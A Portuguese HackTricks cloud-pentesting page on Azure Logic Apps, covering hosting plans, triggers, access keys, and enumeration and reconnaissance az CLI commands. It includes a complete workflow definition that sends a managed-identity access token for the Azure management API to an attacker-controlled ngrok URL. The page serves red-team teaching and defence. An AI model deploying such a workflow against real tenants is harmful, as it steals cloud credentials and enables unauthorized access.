Az - Logic Apps
Reading time: 16 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Azure Logic Apps permite que os desenvolvedores criem e executem fluxos de trabalho que integram vários serviços, fontes de dados e aplicações. Esses fluxos de trabalho são projetados para automatizar processos de negócios, orquestrar tarefas e realizar integrações de dados em diferentes plataformas.
Logic Apps fornece um designer visual para criar fluxos de trabalho com uma ampla gama de conectores pré-construídos, o que facilita a conexão e interação com vários serviços:
.png)
Opções de Hospedagem
Existem várias opções de hospedagem:
- Consumo
- Multi-tenant: Isso fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços por operação. Isso é ideal para cargas de trabalho leves e econômicas. Isso é o que chamaremos de "Fluxo de Trabalho Único".
- Padrão
- Plano de Serviço de Fluxo de Trabalho: Isso fornece recursos de computação dedicados com integração VNET para rede e cobra por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
- Ambiente de Serviço de Aplicativo V3: Isso fornece recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de Serviço de Aplicativo dentro do ambiente.
- Híbrido: Isso é projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). Baseia-se em um Ambiente Conectado de Aplicativo de Contêiner.
Fluxos de Trabalho "Únicos" / Plano de Consumo
Um fluxo de trabalho é uma sequência estruturada de etapas ou tarefas automatizadas que executam um processo ou objetivo específico. Ele define como diferentes ações, condições e decisões interagem para alcançar um resultado desejado, otimizando operações e reduzindo o esforço manual.
tip
O plano de Consumo permite criar um único fluxo de trabalho sem a necessidade de um Logic App em si.
Gatilhos & Ações
Os gatilhos do fluxo de trabalho indicam quando o fluxo de trabalho deve começar. Os gatilhos podem ser um endpoint HTTP, um cronograma ou dezenas de eventos diferentes do Azure ou até mesmo de aplicativos externos.
Cada fluxo de trabalho tem diferentes ações. Essas ações são os passos que o fluxo de trabalho segue. Dependendo da ação, diferentes parâmetros estarão disponíveis para configurá-la, como:
- Nome da Conexão: Conexão a ser usada com a qual a ação interagirá.
- Tipo de Autenticação: As diferentes opções são Chave de Acesso, Microsoft Entra ID, autenticação de principal de serviço integrado e Identidade Gerenciada do Logic Apps.
- De uma perspectiva de Somente Leitura, os dados de Autenticação são sempre interessantes, pois podem conter informações sensíveis.
- De uma perspectiva de Escrita, os dados de Autenticação são sempre interessantes, pois podem permitir o uso das permissões das identidades gerenciadas atribuídas.
- ...
As ações também têm várias configurações, que dependem da própria ação. Algumas das configurações mais comuns são:
- Política de Retentativa: Configura o número de tentativas e o intervalo entre elas.
- Tempo Limite: Define o tempo máximo que a ação pode ser executada antes de expirar.
- Executar Após: Especifica as condições que devem ser atendidas antes que a ação seja executada.
- Validação de Esquema: Garante que os dados recebidos sigam uma estrutura predefinida.
- Rede: Configura como gerenciar diferentes cabeçalhos.
- Entradas/Saídas Seguras: Isso ocultará dados de entrada/saída do histórico de execução.
- ...
Políticas de Autorização
Esses fluxos de trabalho suportam políticas de autorização com Entra ID para proteger gatilhos baseados em solicitações, exigindo um token de acesso válido. Este token deve incluir reivindicações específicas:
- Emissor (iss) para verificar o provedor de identidade
- Público (aud) para garantir que o token é destinado ao Logic App
- Assunto (sub) para identificar o chamador
- ID do JWT (identificador do JSON Web Token)
- Reivindicação Personalizada
Quando uma solicitação é recebida, o Logic Apps valida o token em relação a essas reivindicações e permite a execução apenas se corresponder à política configurada. Isso pode ser usado para permitir que outro locatário acione o fluxo de trabalho ou negar o acionamento de outras fontes, por exemplo, permitindo o acionamento apenas se vier de https://login.microsoftonline.com/.
Chaves de Acesso
Os fluxos de trabalho geram 2 chaves de acesso quando são criados. Essas chaves são usadas para autenticar e autorizar solicitações ao fluxo de trabalho. As chaves são usadas para gerar um token de Assinatura de Acesso Compartilhado (SAS), que é incluído na URL da solicitação.
Assim, quando um gatilho de endpoint HTTP é criado, um endpoint HTTP exclusivo com uma assinatura SAS que concede permissão para chamar o fluxo de trabalho é gerado.
Essas chaves podem ser regeneradas e uma nova URL SAS será criada para esses gatilhos, mas os valores das chaves não podem ser acessados.
Exemplo de uma URL SAS para invocar um gatilho:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
Configurações e Componentes do Fluxo de Trabalho
- Opção de acesso ao gatilho: Esta configuração permite restringir quem pode acionar ou iniciar seu fluxo de trabalho. As opções são Qualquer IP, Apenas outro fluxo de trabalho e Faixas de IP específicas.
- Conta de integração: Vincule seu fluxo de trabalho a uma Conta de Integração.
- Alta capacidade de processamento: Se ativado, permite lidar com mais solicitações em paralelo rapidamente.
- Retenção do histórico de execuções: Isso indica o número de dias para manter o histórico de execuções.
- Conexões de API: Isso mostra as diferentes conexões de API que o fluxo de trabalho possui. Dentro de cada uma dessas conexões, existem diferentes propriedades e a possibilidade de editar a conexão de API onde o tipo de Autenticação pode ser alterado.
- Histórico: Tem a opção de acessar o histórico de execuções antigas e obter dados: Configurações, Saída, Parâmetros e o Código.
- Versões: Tem a opção de acessar diferentes versões do fluxo de trabalho, onde você pode verificar o código e alterar o fluxo de trabalho atual por uma versão anterior dele.
- Identidades Gerenciadas: É possível atribuir 1 identidade gerenciada pelo sistema e uma identidade gerenciada pelo usuário ao fluxo de trabalho.
Vazamento de tokens de acesso MI
A ação HTTP em um fluxo de trabalho pode ser usada para enviar dados para uma web externa. Nos Parâmetros Avançados da ação HTTP, é possível configurar o Tipo de Autenticação como Identidade gerenciada
e, em seguida, selecionar a Identidade Gerenciada atribuída a ser usada (sistema ou usuário).
Além disso, é possível indicar no Público
o público do JWT gerado, que poderia ser, por exemplo, https://management.azure.com/
para poder usar o token gerado para acessar a API de gerenciamento do Azure.
warning
Fazer a ação enviar a solicitação HTTP para um servidor controlado por um atacante pode vazar o token de acesso da identidade gerenciada atribuída ao fluxo de trabalho.
tip
Um atacante também poderia usar outros tipos de ações para acessar diretamente outros serviços do Azure e realizar ações com as permissões da identidade gerenciada.
Este é o código de um fluxo de trabalho que expõe um endpoint HTTP e, em seguida, usa uma ação HTTP para vazar o token de acesso para a URL configurada (ngrok neste caso):
Código do fluxo de trabalho
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
Logic Apps / Plano Padrão
Diferenças com Workflows "Únicos"
As logic apps basicamente usam um App Service em segundo plano para hospedar a logic app que pode hospedar vários workflows. Isso significa que a logic app terá todos os recursos de um App Service e dos Workflows "Únicos".
Alguns recursos chave seriam:
- Plano de App Service: Logic Apps no plano padrão são hospedadas em um Plano de App Service, então é possível usar todos os recursos do App Service, como:
- Restrições de Rede: Indicar de onde é acessível.
- Centro de Implantação: Implantar de plataformas externas como Github, Bitbucket, Azure Repos, Git Externo e Git Local.
- Acesso FTP: É possível acessar os arquivos da Logic App através de FTP.
- Conta de Armazenamento: O aplicativo de serviço usa uma conta de armazenamento para armazenar informações.
- Variáveis de Ambiente & Configurações de App: É possível configurar variáveis de ambiente e configurações de app (e encontrar informações sensíveis como chaves de acesso à conta de armazenamento).
- ...
- Parâmetros: Parâmetros permitem gerenciar valores que variam entre desenvolvimento, teste e produção. Isso permite que você projete workflows primeiro e, em seguida, ajuste facilmente as configurações específicas do ambiente mais tarde.
- Recursos Dedicados: Logic Apps no plano padrão têm recursos dedicados.
- Múltiplos Workflows: Permite criar múltiplos workflows.
Para mais informações sobre App Services, consulte:
Enumeração
# List
az logic workflow list --resource-group <ResourceGroupName>
# Get info
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
# Get details of a specific Logic App workflow, including its connections and parameters
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
--headers "Content-Type=application/json"
# Get details about triggers for a specific Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
# Get the callback URL for a specific trigger in a Logic App
az rest --method POST \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
# Get the history of a specific trigger in a Logic App
az rest --method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
# List all runs of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get all actions within a specific run of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all versions of a specific Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# Get details of a specific version of a Logic App workflow
az rest \
--method GET \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
--headers "Content-Type=application/json"
# List all Logic Apps in the specified resource group
az logicapp list --resource-group <ResourceGroupName>
# Show detailed information about a specific Logic App
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
# List all application settings for a specific Logic App
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
# Get a Parameters from an Azure App Service using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{app-service-name}/hostruntime/admin/vfs/parameters.json?api-version=2018-11-01&relativepath=1"
# Get webhook-triggered workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/hostruntime/runtime/webhooks/workflow/api/management/workflows?api-version=2018-11-01"
# Get workflows from an Azure Logic App using Azure REST API
az rest --method GET --url "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows?api-version=2018-11-01"
# Get details of a specific workflow including its connections and parameters in Azure Logic Apps using Azure REST API
az rest --method GET --uri "https://management.azure.com/subscriptions/{subscription-id}/resourceGroups/{resource-group-name}/providers/Microsoft.Web/sites/{logic-app-name}/workflows/{workflow-name}?api-version=2018-11-01&\$expand=connections.json,parameters.json"
Contas de Integração
Contas de Integração são um recurso do Azure Logic Apps. As Contas de Integração são usadas para facilitar integrações em nível empresarial, permitindo capacidades avançadas de B2B, como EDI, AS2 e gerenciamento de esquemas XML. As Contas de Integração são um contêiner no Azure que armazena os seguintes artefatos usados para Logic Apps:
- Esquemas: Gerenciar esquemas XML para validar e processar mensagens em sua conta de integração.
- Mapas: Configurar transformações baseadas em XSLT para converter formatos de dados dentro de seus fluxos de trabalho de integração.
- Assemblies: Gerenciar assemblies da conta de integração para otimizar a lógica e o processamento de dados.
- Certificados: Lidar com certificados para criptografar e assinar mensagens, garantindo comunicação segura.
- Parceiros: Gerenciar informações de parceiros comerciais para transações B2B, permitindo integrações sem costura.
- Acordos: Configurar regras e configurações para troca de dados com parceiros comerciais (por exemplo, EDI, AS2).
- Configurações de Lote: Gerenciar configurações de processamento em lote para agrupar e processar mensagens de forma eficiente.
- RosettaNet PIP: Configurar Processos de Interface de Parceiro RosettaNet (PIPs) para padronizar a comunicação B2B.
Enumeração
# Integration account
az logic integration-account list --resource-group <resource-group-name>
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
# Batch-configuration
az logic integration-account batch-configuration list \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name>
az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
Escalação de Privilégios
Mesma coisa que a escalação de privilégios de aplicativos lógicos:
Pós Exploração
Az - Logic Apps Post Exploitation
Persistência
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.